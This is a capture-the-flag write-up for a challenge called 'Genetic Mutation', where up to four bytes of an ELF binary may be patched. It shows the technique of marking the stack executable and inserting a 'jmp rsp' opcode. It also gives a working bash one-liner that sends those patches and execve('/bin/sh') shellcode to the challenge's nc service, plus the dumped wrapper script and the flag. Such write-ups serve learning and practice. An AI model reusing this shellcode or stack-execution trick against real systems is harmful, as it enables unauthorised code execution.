day 06 - Genetic Mutation [general]

day 6 - Genetic Mutation

We just rescued an elf that was captured by The Grinch for his cruel genetic experiments. But we were late, the poor elf was already mutated. Could you help us restore the elf's genes? - Service: nc 3.93.128.89 1206

Recon

The remote service outputs a binary as zlib+hex upon connecting. Reversing the binary learns us that it will read 128bytes of data to the stack and print them back to the screen. It appears the binary is wrapped in some way which lets you patch up to 4 bytes in the ELF binary prior to executing it.

Description

$ nc 3.93.128.89 1206
We just rescued an elf that was captured by The Grinch
for his cruel genetic experiments.

But we were late, the poor elf was already mutated.
Could you help us restore the elf's genes?

Here is the elf's current DNA, zlib compressed and
then hex encoded:

<snip>

You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 

0

Alright - let's see what the elf has to say.
==================================================

Hello there, what is your name?
Greetings , let me sing you a song:
We wish you a Merry Chhistmas
We wish you a Merry Christmxs
We wish you alMerry Christmas
and a HapZy New Year!

Solution

Our solution was to patch the ELF segment headers to mark the GNU_STACK segment to be readable, writable and executable. This can effectively be done using a single byte patch at offset 0x1cc with value 7 (PROT_READ | PROT_WRITE PROT_EXEC). Then we use another two bytes to patch an opcode into the code to jump to our input after reading it.

Patch the stack segment to RWX (1 byte), then use the remaining bytes to jump to the input buffer on the stack. ff e4 translates to a jmp rsp opcode which can be patched at location 0x7d5. This allows us to send a execve("/bin/sh", ..) shellcode as our input which is then executed. This leaves 1 spare(!) byte, who needs 4 bytes anyway? :)

Quick bash one-liner exploit:

$ (
    for i in 3 460 7 2005 255 2006 228; do
        echo $i
    done; 
    echo -ne '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'; 
    cat -
) | nc 3.93.128.89 1206

cat flag.txt
AOTW{turn1NG_an_3lf_int0_a_M0nst3r?}

Flag

AOTW{turn1NG_an_3lf_int0_a_M0nst3r?}

Bonus: Challenge wrapper

Dumped the challenge wrapper:

import tempfile
import os
import zlib
import resource

content = open('elf').read()

print 'We just rescued an elf that was captured by The Grinch'
print 'for his cruel genetic experiments.'
print
print 'But we were late, the poor elf was already mutated.'
print 'Could you help us restore the elf\'s genes?'
print
print 'Here is the elf\'s current DNA, zlib compressed and'
print 'then hex encoded:'
print '=================================================='
print zlib.compress(content, 9).encode('hex')
print '=================================================='
print
print 'You may mutate up to 4 bytes of the elf.'

count = int(raw_input("How many bytes to mutate (0 - 4)? "))
if count < 0 or count > 4:
    print "Invalid number"
    quit()
for i in range(count):
    pos = int(raw_input('Which byte to mutate? '))
    val = int(raw_input('What to set the byte to? '))
    assert 0 <= pos < len(content)
    assert 0 <= val < 256
    content = content[:pos] + chr(val) + content[pos+1:]

print 'Alright - let\'s see what the elf has to say.'
print '=================================================='

try:
    mutated_elf, elf_name = tempfile.mkstemp('mutated_elf')
    os.write(mutated_elf, content)
    os.close(mutated_elf)
    os.chmod(elf_name, int('700', 8))
    resource.setrlimit(resource.RLIMIT_CPU, (1, 1))
    os.system(elf_name)
finally:
    os.remove(elf_name)